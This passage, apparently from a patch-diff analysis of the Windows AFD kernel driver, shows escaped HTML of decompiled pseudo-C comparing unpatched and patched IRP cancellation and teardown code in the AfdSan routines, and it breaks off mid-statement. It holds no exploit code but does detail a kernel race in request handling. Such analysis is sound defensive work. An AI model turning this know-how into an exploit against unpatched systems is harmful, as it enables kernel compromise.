&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_556471608_60363862&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x91&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;&amp;lt; NEW teardown flag&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;&amp;lt; NEW: drain EVERY IRP off the list at conn+0x70 into &amp;#39;drain&amp;#39;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// integrity-checked unlink of &amp;#39;entry&amp;#39;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flink&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flink&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Blink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Blink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;drain&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;drain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// OLD path retained (feature disabled): reset immediately, no drain&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;AfdDereferenceEndpointInline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x50&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x08&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ushort&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xAFD0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x02&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeReleaseInStackQueuedSpinLockFromDpcLevel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;IoReleaseCancelSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CancelIrql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_556471608_60363862&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;&amp;lt; NEW: complete every drained IRP outside the lock, clearing its&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;//         cancel routine and syncing with the cancel spinlock first.&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;drain&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;IRP&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IRP&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;drain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xA8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;drain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;drain&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Blink&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_InterlockedExchange64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CancelRoutine&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;IoAcquireCancelSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Irql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoReleaseCancelSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Irql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IoStatus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Information&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IoStatus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_CANCELLED&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// 0xC0000120&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;IofCompleteRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AfdPriorityBoost&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;&amp;lt; NEW: re-acquire the lock and only NOW reset the connection.&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;KeAcquireInStackQueuedSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x08&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x800&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;AfdDereferenceEndpointInline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x50&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x08&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ushort&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xAFD0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x02&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;KeReleaseInStackQueuedSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_InterlockedExchange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x158&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ObfDereferenceObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IoStatus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_CANCELLED&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;IofCompleteRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AfdPriorityBoost&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;AfdSanFastCompleteRequest&lt;/code&gt; / &lt;code&gt;AfdSanRedirectRequest&lt;/code&gt; (teardown-flag gate)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED (insert into pending list at conn+0x70)&lt;/span&gt;
&lt;span class="n"&gt;KeAcquireInStackQueuedSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;_InterlockedExchange64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CancelRoutine&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AfdSanCancelRequest&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x44&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// IRP not already cancelled&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;InsertTailList&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0xA8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// unconditional insert&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED (adds the teardown-flag gate under the same feature)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x44&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_556471608_60363862&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
